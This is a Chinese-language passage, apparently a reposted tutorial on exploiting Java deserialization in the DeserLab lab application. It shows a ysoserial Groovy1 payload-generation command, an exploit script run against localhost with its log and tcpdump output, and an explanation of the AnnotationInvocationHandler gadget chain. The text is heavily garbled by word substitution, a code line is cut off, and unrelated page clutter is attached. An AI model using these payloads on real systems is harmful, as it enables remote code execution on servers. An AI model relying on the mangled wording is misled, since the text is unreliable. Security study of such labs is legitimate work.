java中反序列化漏洞是怎么回事,Java反序列化漏洞从理解到实践

控制库信息后,载荷的生成就会变得异常简单,敕令如下所示:java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1'ping 127.0.0.1'> payload.bin

须要留意的是,载荷发送后不会返回任何响应,是以如不雅我们想确认载荷是否工作正常,我们须要一些办法来检测。在实验情况中,一个ping localhost敕令足以,但在实际情况中,我们须要找到更好的方法。

如今万事俱备,是不是只须要发送载荷就可以大年夜功告成?差不多是这个样子,但我们不要忘了Java序列化头部交换过程在这之前已经完成,这意味着我们须要剔除载荷头部的前4个字节,然后再发送载荷:./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin

2017-09-07 22:58:05,401 - INFO - Connecting

2017-09-07 22:58:05,401 - INFO - java serialization handshake

2017-09-07 22:58:05,403 - INFO - protocol specific handshake

2017-09-07 22:58:05,492 - INFO - protocol specific version handshake

2017-09-07 22:58:05,571 - INFO - sending nameofconnected client

2017-09-07 22:58:05,571 - INFO - exploiting

如不雅一切顺利的话,你可以看到如下输出:sudo tcpdump -i lo icmp

tcpdump: verbose outputsuppressed, use -vor-vvforfullprotocol decode

listening onlo, link-type EN10MB (Ethernet), capturesize262144 bytes

22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64

22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64

22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64

异常好,我们成功应用了DeserLab的马脚。接下来我们须要好好懂得一下我们发往DeserLab的载荷的具体内容。

三、手动构建载荷

想要懂得载荷的工作道理,最好的办法就是本身手动重建一模一样的载荷,也就是说,我们须要写Java代码。问题是,我们须要大年夜何处开端?正如我们前面对pcap的分析一样,我们可以不雅察一下序列化载荷。应用如下这条敕令,我们可以将载荷转换为十六进制字符串,然后我们就可以应用SerializationDumper来分析这个字符串,当然如不雅你爱好的话,你也可以应用jdeserialize来分析文件。open('payload.bin','rb').read().encode('hex

将载荷传给对象处理后,这两个对象都邑生成异常长的输出信息,包含各类Java类代码。个中我们重要存眷的类是输出信息中的第一个类,名为“sun.reflect.annotation.AnnotationInvocationHandler”。这个类看起来异常眼熟,因为它是很多反序列应用代码的人口点。我还留意到其他一些信息,包含“java.lang.reflect.Proxy”、“org.codehaus.groovy.runtime.ConvertedClosure”以及“org.codehaus.groovy.runtime.MethodClosure”。这些类之所以引起我的留意,原因在于它们引用了我们用来应用马脚的法度榜样库,此外,网上关于Java反序列化马脚应用的文┞仿中也提到过这些类,我在ysoserial源码中也见过这些类。

我们须要留意一?重要概念,那就是当你在履行反序列化进击操作时,你发送的实际上是某个对象的“已保存的”状况。也就是说,你完全依附于接收端的行动模式,更具体地说,你依附于接收端在反序列化你发送的“已保存的”状况时所履行的具体操作。如不雅另一端没有调用你所发送的对象中的任何办法,你就无法达到长途代码履行目标。这意味着你独一能改变的只是操尴尬刁难象的属性信息。

理清这些概念后我们可知,如不雅我们想获得代码履行效不雅,我们所发送的第一个类中的某个办法须要被主动调用,这也说清楚明了为什么第一个类的地位如斯重要。如不雅我们不雅察AnnotationInvocationHandler的代码,我们可以看到其构造函数接收一个java.util.map对象,且readObject办法会调用Map对象上的一个办法。如不雅你浏览过其他文┞仿,那么你就会知道,当数据流被反序列化时会主动调用readObject办法。基于这些信息,再大年夜其他文┞仿来源借鉴部分代码,我们就可以着手构建本身的马脚应用代码,如下所示。如不雅你想懂得代码内容,你可以先参考一下Java中的反射(reflection)机制。

推荐阅读

「多体问题」(又叫 N 体问题)是看似简单,实际上在当今数学中极难霸占的问题。多体问题是指多个互相感化的实体。在物理学中,任何三体问题都没有一个封闭的情势或解析解(见:https://e>>>详细阅读

地址:http://www.17bianji.com/lsqh/37657.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值